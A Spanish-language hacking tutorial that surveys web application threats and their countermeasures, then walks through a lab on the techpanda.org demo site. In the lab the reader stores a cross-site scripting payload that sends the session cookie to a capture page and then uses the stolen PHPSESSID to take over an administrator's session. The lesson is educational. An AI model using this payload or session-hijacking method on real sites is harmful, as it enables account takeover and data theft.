¿Cómo hackear un sitio web? Más ejemplo de pirateo en línea

Más personas tienen acceso a Internet que nunca, esto ha llevado a muchas organizaciones a desarrollar aplicaciones basadas en web que los usuarios pueden usar en línea para interactuar con la organización.

El código mal escrito para aplicaciones web puede ser explotado para obtener acceso no autorizado a datos confidenciales y servidores web.

En este tutorial aprenderá cómo hackear sitios web, y le presentaremos las técnicas de piratería de aplicaciones web y las contramedidas que puede poner en marcha para protegerse contra tales ataques.

Contenido pendiente de una última revisión.

¿Qué es una aplicación web? ¿Qué son las amenazas web?

Una aplicación web (también conocida como sitio web) es una aplicación basada en el modelo cliente-servidor. El servidor proporciona el acceso a la base de datos y la lógica empresarial. Está alojado en un servidor web. La aplicación cliente se ejecuta en el explorador web cliente. Las aplicaciones web generalmente se escriben en lenguajes como Java, C # y VB.Net, PHP, ColdFusion Markup Language, etc. Los motores de base de datos utilizados en las aplicaciones web incluyen MySQL, MS SQL Server, PostgreSQL, SQLite, etc.

La mayoría de las aplicaciones web están alojadas en servidores públicos accesibles a través de Internet. Esto los hace vulnerables a los ataques debido a la fácil accesibilidad. Las siguientes son amenazas comunes de aplicaciones web.

  • Inyección SQL: el objetivo de esta amenaza podría ser eludir los algoritmos de inicio de sesión, sabotear los datos, etc.
  • Ataques de denegación de servicio: el objetivo de esta amenaza podría ser denegar a los usuarios legítimos el acceso al recurso.
  • Cross Site Scripting XSS: el objetivo de esta amenaza podría ser inyectar código que se pueda ejecutar en el navegador del lado del cliente.
  • Envenenamiento de cookies / sesiones: el objetivo de esta amenaza es modificar las cookies / datos de sesión por parte de un atacante para obtener acceso no autorizado.
  • Manipulación de formularios: el objetivo de esta amenaza es modificar los datos de los formularios, como los precios en las aplicaciones de comercio electrónico, para que el atacante pueda obtener artículos a precios reducidos.
  • Inyección de código: el objetivo de esta amenaza es inyectar código como PHP, Python, etc. que se puede ejecutar en el servidor. El código puede instalar puertas traseras, revelar información confidencial, etc.
  • Desfiguración: el objetivo de esta amenaza es modificar la página que se muestra en un sitio web y redirigir todas las solicitudes de página a una sola página que contenga el mensaje del atacante.

¿Cómo proteger tu sitio web contra los hacks?

Una organización puede adoptar la siguiente directiva para protegerse contra ataques a servidores web.

  • Inyección SQL: desinfectar y validar los parámetros del usuario antes de enviarlos a la base de datos para su procesamiento puede ayudar a reducir las posibilidades de ser atacado a través de la inyección SQL.
  • Los motores de base de datos como MS SQL Server, MySQL, etc. admiten parámetros y declaraciones preparadas. Son mucho más seguros que las instrucciones SQL tradicionales

  • Ataques de denegación de servicio: los firewalls se pueden usar para eliminar el tráfico de direcciones IP sospechosas si el ataque es un simple DoS. La configuración adecuada de las redes y el sistema de detección de intrusiones también pueden ayudar a reducir las posibilidades de que un ataque DoS tenga éxito.
  • Cross Site Scripting: validar y desinfectar encabezados, parámetros pasados a través de la URL, parámetros de formulario y valores ocultos puede ayudar a reducir los ataques XSS.
  • Envenenamiento de cookies / sesiones: esto se puede prevenir cifrando el contenido de las cookies, agotando el tiempo de las cookies después de algún tiempo, asociando las cookies con la dirección IP del cliente que se utilizó para crearlas.
  • Templado de formularios: esto se puede evitar validando y verificando la entrada del usuario antes de procesarla.
  • Inyección de código: esto se puede evitar tratando todos los parámetros como datos en lugar de código ejecutable. La desinfección y la validación se pueden utilizar para implementar esto.
  • Desfiguración: una buena política de seguridad de desarrollo de aplicaciones web debe garantizar que selle las vulnerabilidades comúnmente utilizadas para acceder al servidor web. Esta puede ser una configuración adecuada del sistema operativo, el software del servidor web y las mejores prácticas de seguridad al desarrollar aplicaciones web.

Trucos de piratería de sitios web: Hackear un sitio web en línea

En este escenario práctico de piratería de sitios web, vamos a secuestrar la sesión de usuario de la aplicación web ubicada en www.techpanda.org. Utilizaremos secuencias de comandos entre sitios para leer el ID de sesión de cookies y luego lo usaremos para suplantar una sesión de usuario legítima.

La suposición hecha es que el atacante tiene acceso a la aplicación web y le gustaría secuestrar las sesiones de otros usuarios que utilizan la misma aplicación. El objetivo de este ataque podría ser obtener acceso de administrador a la aplicación web asumiendo que la cuenta de acceso del atacante es limitada.

Empezar

  • Abrir http://www.techpanda.org/
  • Para fines prácticos, se recomienda encarecidamente obtener acceso mediante inyección SQL.
  • El correo electrónico de inicio de sesión es [email protected],la contraseña es Password2010
  • Si ha iniciado sesión correctamente, obtendrá el siguiente panel de control
  • Haz clic en Agregar nuevo contacto
  • Escriba lo siguiente como nombre de pila.
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Oscuro</a>

El código anterior utiliza JavaScript.Agrega un hipervínculo con un evento onclick

.

Cuando el usuario desprevenido hace clic en el enlace, el evento recupera el ID de sesión de la cookie PHP y lo envía a la página snatch_sess_id.php junto con el ID de sesión en la URL.

  • Ingrese los detalles restantes, por ejemplo, como te indico: Last Name: Modo Mobile: Cifra de 11 números Email: [email protected]
  • Haz clic en Guardar cambios.
  • El panel de control ahora se verá como la siguiente pantalla.
  • Dado que el código de script entre sitios se almacena en la base de datos, se cargará cada vez que los usuarios con derechos de acceso inicien sesión.
  • Supongamos que el administrador inicia sesión y hace clic en el hipervínculo que dice Oscuro.
  • Él / ella obtendrá la ventana con el ID de sesión que se muestra en la URL.

Nota

: el script podría estar enviando el valor a algún servidor remoto donde se almacena el PHPSESSID y luego el usuario redirigido de nuevo al sitio web como si nada hubiera pasado.

Nota: el valor que obtienes puede ser diferente del de este tutorial de piratería de páginas web, pero el concepto es el mismo.

Suplantación de sesión con Firefox y el complemento Tamper Data

El diagrama de flujo a continuación muestra los pasos que debe seguir para completar este ejercicio.

  • Necesitarás el navegador web Firefox para esta sección y el complemento Tamper Data.
  • Abra Firefox e instale el complemento Tamper Data.
  • Haz clic en el menú de herramientas y luego seleccione Tamper Data como se muestra a continuación.
  • Obtendrás una ventana. Nota: Si Windows no está vacío, presione el botón Borrar.
  • Haz clic en el menú Iniciar Tamper.
  • Vuelve al navegador web Firefox, escriba http://www.techpanda.org/dashboard.php luego presione la tecla Enter para cargar la página.
  • Obtrendrás una nueva ventana que tiene tres (3) opciones. La opción Tamper le permite modificar la información del encabezado HTTP antes de enviarla al servidor.
  • Haz clic en él.
  • Copie el ID de sesión php que copió de la URL del ataque y péguelo después del signo igual. Su valor ahora debería verse así.

PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

  • Haz clic en el botón Aceptar.
  • Volverá a aparecer la ventana emergente de datos de Tamper.
  • Desmarca la casilla de verificación que pregunta ¿Continuar manipulando?
  • Haz clic en el botón enviar cuando haya terminado.

*Nota: *: No iniciamos sesión, suplantamos una sesión de inicio de sesión utilizando el valor PHPSESSID que recuperamos mediante secuencias de comandos entre sitios.

Resumen

  • Una aplicación web se basa en el modelo servidor-cliente. El lado del cliente utiliza el navegador web para acceder a los recursos del servidor.
  • Las aplicaciones web suelen ser accesibles a través de Internet. Esto los hace vulnerables a los ataques.
  • Las amenazas de aplicaciones web incluyen inyección SQL, inyección de código, XSS, desfiguración, envenenamiento de cookies, etc.
  • Una buena política de seguridad al desarrollar aplicaciones web puede ayudar a que sean seguras.

? Libro Hacking desde 0


? Herramientas Hacking ? Recursos Hacking


?‍♀️ Cursos Seguridad en Red ? Cursos RedesCursos Servicios en Nube ?‍♂️ Libros Seguridad y Criptografía

Relacionados